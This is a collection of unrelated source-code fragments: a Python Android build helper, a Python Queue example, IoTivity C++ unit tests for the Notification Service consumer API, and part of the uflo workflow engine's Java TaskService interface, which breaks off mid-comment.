self.options.android_studio_project_folder, self.options.android_studio_project_name ]).abspath() @conf def get_android_patched_libraries_relative_path(self): return '{}/{}'.format(self.get_android_project_relative_path(), 'AndroidLibraries')
4,703
1,139
# importing only the Queue from the queue module from queue import Queue # taking an object of Queue() q = Queue() print("Initially the size of queue is %s" % q.qsize()) print("Checking whether queue is empty or not. Empty?? = %s" % q.empty()) # enqueueing some value in the object of Queue q.put('A') q.put('B') q.put('C') q.put('D') q.put('E') print("After adding some value, size of queue is %s" % q.qsize()) print("Checking whether queue is full or not. Full?? = %s" % q.full()) # retrieving the values of the Queue for i in range(q.qsize()): print("Retrieved = ", end=' ') print(q.get()) # after retrieving, check the size of the object print("Size of queue is = %s " % q.qsize())
243
301
/****************************************************************** * * Copyright 2018 Samsung Electronics All Rights Reserved. * * * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * ******************************************************************/ #include "NSCppHelper.h" class NSConsumerCppTest_btc: public ::testing::Test { public: NSCppHelper* m_pNSHelper; NSConsumerService* m_pNSConsumerServiceInstance; shared_ptr<OIC::Service::NSProvider> m_pNSProvider; OIC::Service::NSResult m_result; string m_providerID = ""; virtual void SetUp() { CommonTestUtil::runCommonTCSetUpPart(); m_pNSHelper = NSCppHelper::getInstance(); m_pNSConsumerServiceInstance = nullptr; m_pNSConsumerServiceInstance = NSConsumerService::getInstance(); ASSERT_NE(nullptr,m_pNSConsumerServiceInstance)<< "NSConsumerService instance could not be found"; m_providerID = ""; IOTIVITYTEST_LOG(INFO, "SetUp called"); } virtual void TearDown() { CommonTestUtil::runCommonTCTearDownPart(); m_pNSConsumerServiceInstance->stop(); CommonUtil::killApp(PROVIDER_SIMULATOR); CommonUtil::waitInSecond(WAIT_TIME_DEFAULT); IOTIVITYTEST_LOG(INFO, "TearDown called"); } static void onProviderDiscovered(shared_ptr<OIC::Service::NSProvider> provider) { IOTIVITYTEST_LOG(INFO, "%s is called", __func__); IOTIVITYTEST_LOG(INFO, "Provider ID is: %s", provider->getProviderId().c_str()); } static void onProviderStateChangedCb(OIC::Service::NSProviderState state) { IOTIVITYTEST_LOG(INFO, "%s is called", __func__); } static void onNotificationPostedCb(OIC::Service::NSMessage notification) { IOTIVITYTEST_LOG(INFO, "%s is called", __func__); IOTIVITYTEST_LOG(INFO, "Incoming notification ID is: %ld, notification message is: %s",notification.getMessageId(), notification.getContentText().c_str()); } static void onNotificationSyncCb(OIC::Service::NSSyncInfo sync) { IOTIVITYTEST_LOG(INFO, "%s is called", __func__); NSCppUtility::printSyncInfo(sync); } }; /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @objective Test 'getInstance' function with positive basic way * @target NSConsumerService *getInstance() * @test_data None * @pre_condition Perform Configure() and stopPresence() API * @procedure Perform getInstance() API * @post_condition None * @expected The API should return NSConsumerService instance **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, ConsumerServiceGetInstance_SRC_P) { ASSERT_NE(nullptr,NSConsumerService::getInstance())<< "getInstance does not return success"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSConsumerService *getInstance() * @objective Test 'start' function with positive basic way * @target void start(ProviderDiscoveredCallback providerDiscovered) * @test_data providerDiscovered callback to be called when provider is discovered * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Get NSConsumerService instance using getInstance() method * @procedure Perform start() API * @post_condition Perform stop() API using NSConsumerService instance * @expected The API should not throw any exceptions **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, ConsumerServiceStart_SRC_P) { try { m_pNSConsumerServiceInstance->start(onProviderDiscovered); } catch (exception &e) { SET_FAILURE("Exception occurs while calling start. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @objective Test 'stop' function with positive basic way * @target void stop() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Get NSConsumerService instance using getInstance() method * 3. Perform start() API * @procedure Perform stop() API using NSConsumerService instance * @post_condition None * @expected The API should not throw any exceptions **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, ConsumerServiceStop_SRC_P) { try { m_pNSConsumerServiceInstance->start(onProviderDiscovered); } catch (exception &e) { SET_FAILURE("Exception occurs while calling start. Exception is: " + string(e.what())); } try { m_pNSConsumerServiceInstance->stop(); } catch (exception &e) { SET_FAILURE("Exception occurs while calling stop. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @objective Test 'rescanProvider' function with positive basic way * @target void rescanProvider() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Get NSConsumerService instance using getInstance() method * 3. Perform start() API * @procedure Perform rescanProvider() API * @post_condition Perform stop() API using NSConsumerService instance * @expected The API should not throw any exceptions **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, RescanProvider_SRC_P) { try { m_pNSConsumerServiceInstance->start(onProviderDiscovered); } catch (exception &e) { SET_FAILURE("Exception occurs while calling start. Exception is: " + string(e.what())); } try { m_pNSConsumerServiceInstance->rescanProvider(); } catch (exception &e) { SET_FAILURE( "Exception occurs while calling rescanProvider. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @objective Test 'NSProvider()' constructor with positive basic way * @target NSProvider() * @test_data None * @pre_condition Perform Configure() and stopPresence() API * @procedure Perform NSProvider() API * @post_condition None * @expected The API should return NSProvider instance **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, ProviderConstructor_SRC_P) { OIC::Service::NSProvider* nsProvider = new OIC::Service::NSProvider(); ASSERT_NE(nullptr, nsProvider)<< "NSProvider instance could not be created"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'getProviderId' function with positive basic way * @target std::string getProviderId() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform getProviderId() API using NSProvider instance * @post_condition Perform stop() API using NSConsumerService instance * @expected Provider ID should be returned **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, GetProviderID_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; m_providerID = m_pNSProvider->getProviderId(); IOTIVITYTEST_LOG(INFO, "Provider ID: %s", m_providerID.c_str()); ASSERT_NE("",m_providerID)<< "getProviderId did not return provider ID"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'getTopicList' function with positive basic way * @target NSTopicsList *getTopicList() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform getTopicList() API using NSProvider instance * @post_condition Perform stop() API using NSConsumerService instance * @expected Returned list should not be null **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, GetTopicList_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; ASSERT_NE((size_t) 0, m_pNSProvider->getTopicList()->getTopicsList().size())<< "getTopicList did not return list of topics"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @see NSTopicsList *getTopicList() * @objective Test 'updateTopicList' function with negative basic way * @target NSResult updateTopicList(NSTopicsList *topicList) * @test_data topicList list to use when updating * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * 7. Perform getTopicList() API using NSProvider instance * @procedure Perform updateTopicList() API using the found topic list * @post_condition Perform stop() API using NSConsumerService instance * @expected API should not return OK **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, UpdateTopicList_USV_N) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; shared_ptr<NSTopicsList> nsTopicList = m_pNSProvider->getTopicList(); ASSERT_NE((size_t) 0, nsTopicList->getTopicsList().size())<< "getTopicList did not return list of topics"; m_result = m_pNSProvider->updateTopicList(nsTopicList); ASSERT_NE(OIC::Service::NSResult::OK,m_result)<< "updateTopicList did not return success. Expected: Not OK. Actual: " << NSCppUtility::getResultString(m_result); } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @see NSTopicsList *getTopicList() * @objective Test 'updateTopicList' function with negative basic way * @target NSResult updateTopicList(NSTopicsList *topicList) * @test_data topicList null * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * 7. Perform getTopicList() API using NSProvider instance * @procedure Perform updateTopicList() API using null value in place of topic list * @post_condition Perform stop() API using NSConsumerService instance * @expected API should not return OK **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, UpdateTopicList_NV_N) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; shared_ptr<NSTopicsList> nsTopicList = m_pNSProvider->getTopicList(); ASSERT_NE((size_t) 0, nsTopicList->getTopicsList().size())<< "getTopicList did not return list of topics"; m_result = m_pNSProvider->updateTopicList(NULL); ASSERT_NE(OIC::Service::NSResult::OK,m_result)<< "updateTopicList did not return success. Expected: Not OK. Actual: " << NSCppUtility::getResultString(m_result); } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'getProviderState' function with positive basic way * @target NSProviderState getProviderState() const * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform getProviderState() API * @post_condition Perform stop() API using NSConsumerService instance * @expected Returned state should not be STOPPED **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, GetProviderState_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; OIC::Service::NSProviderState state; state = m_pNSProvider->getProviderState(); ASSERT_NE(OIC::Service::NSProviderState::STOPPED,state)<< "getProviderState did not return correct state"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'getProviderSubscribedState' function with positive basic way * @target NSProviderSubscribedState getProviderSubscribedState() const * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform getProviderSubscribedState() API * @post_condition Perform stop() API using NSConsumerService instance * @expected Returned subscribed state should be SUBSCRIBED **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, GetProviderSubscribedState_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; OIC::Service::NSProviderSubscribedState subscribedState; subscribedState = m_pNSProvider->getProviderSubscribedState(); ASSERT_EQ(OIC::Service::NSProviderSubscribedState::SUBSCRIBED,subscribedState)<< "getProviderSubscribedState did not return correct state"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'subscribe' function with positive basic way * @target void subscribe() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability false * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform subscribe() API * @post_condition Perform stop() API using NSConsumerService instance * @expected Exception should not be thrown **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, Subscribe_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(false); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; try { m_pNSProvider->subscribe(); } catch (exception &e) { SET_FAILURE("Exception occurs while calling subscribe. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'isSubscribed' function with positive basic way * @target bool isSubscribed() * @test_data None * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform isSubscribed() API * @post_condition Perform stop() API using NSConsumerService instance * @expected True should be returned **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, IsSubscribed_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; ASSERT_EQ(true,m_pNSProvider->isSubscribed())<< "correct subscribed state is not found"; } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'sendSyncInfo' function with positive basic way * @target void sendSyncInfo(uint64_t messageId, NSSyncInfo::NSSyncType type) * @test_data 1. messageId 1 * 2. NSSyncType NS_SYNC_READ * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform sendSyncInfo() API * @post_condition Perform stop() API using NSConsumerService instance * @expected Exception should not be thrown **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, SendSyncInfo_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; uint64_t messageId = 1; OIC::Service::NSSyncInfo::NSSyncType type = OIC::Service::NSSyncInfo::NSSyncType::NS_SYNC_READ; try { m_pNSProvider->sendSyncInfo(messageId, type); } catch (exception &e) { SET_FAILURE("Exception occurs while calling sendSyncInfo. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'setListener' function with positive basic way * @target void setListener(ProviderStateCallback stateHandle, * MessageReceivedCallback messageHandle, * SyncInfoReceivedCallback syncHandle) * @test_data 1. stateHandle ProviderStateCallback callback. * 2. messageHandle MessageReceivedCallback callback. * 3. syncHandle SyncInfoReceivedCallback callback. * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform setListener() API * @post_condition Perform stop() API using NSConsumerService instance * @expected Exception should not be thrown **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, SetListener_SRC_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; try { m_pNSProvider->setListener(onProviderStateChangedCb, onNotificationPostedCb, onNotificationSyncCb); } catch (exception &e) { SET_FAILURE("Exception occurs while calling sendSyncInfo. Exception is: " + string(e.what())); } } #endif /** * @since 2016-09-28 * @see void Configure(const PlatformConfig& config) * @see OCStackResult stopPresence() * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see NSConsumerService *getInstance() * @see void start(ProviderDiscoveredCallback providerDiscovered) * @see NSProviderService *getInstance() * @see NSResult start(ProviderConfig config) * @see int acceptSubscription(bool accepted) * @see NSResult registerTopic(const std::string &topicName) * @see NSProvider *getProvider(const std::string &id) * @objective Test 'setListener' function with positive basic way * @target void setListener(ProviderStateCallback stateHandle, * MessageReceivedCallback messageHandle, * SyncInfoReceivedCallback syncHandle) * @test_data 1. stateHandle null * 2. messageHandle null * 3. syncHandle null * @pre_condition 1. Perform Configure() and stopPresence() API * 2. Start provider with subcontrollability true * 3. Get NSConsumerService instance using getInstance() method * 4. Perform start() API * 5. Accept subscription from Provider side and register one topic in provider * 6. Get NSProvider() instance using getProvider() API of NSConsumerService class * @procedure Perform setListener() API using null value as parameters * @post_condition Perform stop() API using NSConsumerService instance * @expected Exception should not be thrown **/ #if defined(__LINUX__) || defined(__TIZEN__) TEST_F(NSConsumerCppTest_btc, SetListener_NV_P) { m_pNSProvider = m_pNSHelper->getProvider(true); ASSERT_NE(nullptr,m_pNSProvider)<< "NSProvider instance could not be found"; try { m_pNSProvider->setListener(NULL,NULL,NULL); } catch (exception &e) { SET_FAILURE("Exception occurs while calling sendSyncInfo. Exception is: " + string(e.what())); } } #endif
9,754
590
/******************************************************************************* * Copyright 2017 Bstek * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy * of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. ******************************************************************************/ package com.bstek.uflo.service; import java.util.List; import java.util.Map; import com.bstek.uflo.command.impl.jump.JumpNode; import com.bstek.uflo.model.task.Task; import com.bstek.uflo.model.task.TaskAppointor; import com.bstek.uflo.model.task.TaskParticipator; import com.bstek.uflo.model.task.TaskState; import com.bstek.uflo.model.task.reminder.TaskReminder; import com.bstek.uflo.query.TaskQuery; public interface TaskService { public static final String BEAN_ID="uflo.taskService"; public static final String TEMP_FLOW_NAME_PREFIX="__temp_flow_"; /** * 设置任务处理进度值,正常情况下该值应该在0~100之间,同时当任务正常完成时,任务进度将自动设置为100 * @param progress 任务进度值 * @param taskId 任务ID */ void setProgress(int progress,long taskId); /** * 设置任务优先级或紧急程序,该值是一个字符串,具体内容由用户决定 * @param priority 任务优先级或紧急程序 * @param taskId 任务ID */ void setPriority(String priority,long taskId); /** * 根据给出的任务ID,获取当前任务节点下可指定任务处理人的任务节点名 * @param taskId 任务ID * @return 可指定任务处理人的任务节点名列表 */ List<String> getAvaliableAppointAssigneeTaskNodes(long taskId); /** * 获取指定任务节点下配置的任务处理人列表 * @param taskId 任务ID * @param taskNodeName 任务节点名称 * @return 返回当前节点配置的任务处理人列表 */ List<String> getTaskNodeAssignees(long taskId,String taskNodeName); /** * 在某个任务中指定下一个指定任务节点上的任务处理人 * @param taskId 具体任务对象ID * @param assignee 要指定的任务处理人 * @param taskNodeName 指定任务处理人的任务节点名称 */ void saveTaskAppointor(long taskId,String assignee,String taskNodeName); /** * 在某个任务中指定下一个指定任务节点上的任务处理人,可以为多个处理人 * @param taskId 具体任务对象ID * @param assignees 要指定的任务处理人集合 * @param taskNodeName 指定任务处理人的任务节点名称 */ void saveTaskAppointor(long taskId,String[] assignees,String taskNodeName); /** * 向现有的会签任务中再添加一个新的会签任务 * @param taskId 参考的任务ID * @param username 新的任务的处理人 * @return 返回加签产生的新的任务对象 */ Task addCountersign(long taskId,String username); /** * 删除一个会签任务 * @param taskId 要删除的会签任务的ID */ void deleteCountersign(long taskId); /** * 获取当前任务可以跳转的任务节点名称 * @param taskId 任务ID * @return 可跳转的目标任务节点集合 */ List<JumpNode> getAvaliableForwardTaskNodes(long taskId); /** * 完成指定ID的任务,同时设置下一步流向名称 * @param taskId 要完成的任务ID * @param flowName 下一步流向名称 */ void complete(long taskId, String flowName); /** * 完成指定ID的任务,同时设置下一步流向名称 * @param taskId 要完成的任务ID * @param flowName 下一步流向名称 * @param opinion 任务处理意见 */ void complete(long taskId, String flowName,TaskOpinion opinion); /** * 批量完成指定ID的任务,并写入指定的流程变量 * @param taskIds 要完成的任务的ID集合 * @param variables 回写到要完成任务的变量集合 */ void batchComplete(List<Long> taskIds,Map<String,Object> variables); /** * 批量完成指定ID的任务,并写入指定的流程变量 * @param taskIds 要完成的任务的ID集合 * @param variables 回写到要完成任务的变量集合 * @param opinion 任务处理意见 */ void batchComplete(List<Long> taskIds,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,同时设置下一步流向名称及回写到流程实例中的变量集合 * @param taskId 任务ID * @param flowName 下一步流向名称 * @param variables 回写的变量集合 */ void complete(long taskId, String flowName,Map<String,Object> variables); /** * 完成指定ID的任务,同时设置下一步流向名称及回写到流程实例中的变量集合 * @param taskId 任务ID * @param flowName 下一步流向名称 * @param variables 回写的变量集合 * @param opinion 任务处理意见 */ void complete(long taskId, String flowName,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务 * @param taskId 要完成的任务ID */ void complete(long taskId); /** * 完成指定ID的任务 * @param taskId 要完成的任务ID * @param opinion 任务处理意见 */ void complete(long taskId,TaskOpinion opinion); /** * 完成指定ID的任务,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param variables 变量集合 */ void complete(long taskId,Map<String,Object> variables); /** * 完成指定ID的任务,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param variables 变量集合 * @param opinion 任务处理意见 */ void complete(long taskId,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,跳转到指定的目标节点 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 */ void forward(long taskId,String targetNodeName); /** * 完成指定ID的任务,跳转到指定的目标节点 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 * @param opinion 任务处理意见 */ void forward(long taskId,String targetNodeName,TaskOpinion opinion); /** * 完成指定ID的任务,跳转到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 */ void forward(long taskId,String targetNodeName,Map<String,Object> variables); /** * 完成指定ID的任务,跳转到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 * @param opinion 任务处理意见 */ void forward(long taskId,String targetNodeName,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,跳转到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param task 任务对象 * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 * @param opinion 任务处理意见 */ void forward(Task task,String targetNodeName,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,跳转到指定的目标节点,同时设置回写到流程实例中的变量集合,并指定任务状态 * @param task 任务对象 * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 * @param opinion 任务处理意见 * @param state 任务状态 */ void forward(Task task,String targetNodeName,Map<String,Object> variables,TaskOpinion opinion,TaskState state); /** * 完成指定ID的任务,回退到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 * @param opinion 任务处理意见 */ void rollback(long taskId,String targetNodeName,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,回退到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param task 任务对象 * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 * @param opinion 任务处理意见 */ void rollback(Task task,String targetNodeName,Map<String,Object> variables,TaskOpinion opinion); /** * 完成指定ID的任务,回退到指定的目标节点,同时设置回写到流程实例中的变量集合 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 * @param variables 变量集合 */ void rollback(long taskId,String targetNodeName,Map<String,Object> variables); /** * 完成指定ID的任务,回退到指定的目标节点 * @param taskId 任务ID * @param targetNodeName 指定的目标节点名称 */ void rollback(long taskId,String targetNodeName); /** * 获取指定任务ID对应的可回退的目标任务节点名列表 * @param taskId 要回退的任务ID * @return 返回可回退的目标任务节点名列表 */ List<JumpNode> getAvaliableRollbackTaskNodes(long taskId); /** * 获取指定任务ID对应的可回退的目标任务节点名列表 * @param task 要回退的任务 * @return 返回可回退的目标任务节点名列表 */ List<JumpNode> getAvaliableRollbackTaskNodes(Task task); /** * 将指定ID的任务撤回到上一个任务节点 * @param taskId 任务的ID */ void withdraw(long taskId); /** * 将指定ID的任务撤回到上一个任务节点 * @param taskId 任务的ID * @param opinion 任务处理意见 */ void withdraw(long taskId,TaskOpinion opinion); /** * 将指定ID的任务撤回到上一个任务节点,并填充变量 * @param taskId 任务的ID * @param variables 变量集合 */ void withdraw(long taskId,Map<String,Object> variables); /** * 将指定ID的任务撤回到上一个任务节点,并填充变量 * @param taskId 任务的ID * @param variables 变量集合 * @param opinion 任务处理意见 */ void withdraw(long taskId,Map<String,Object> variables,TaskOpinion opinion); /** * 判断当前任务是否可被撤回到上一任务节点 * @param taskId 任务的ID * @return 返回布尔值 */ boolean canWithdraw(long taskId); /** * 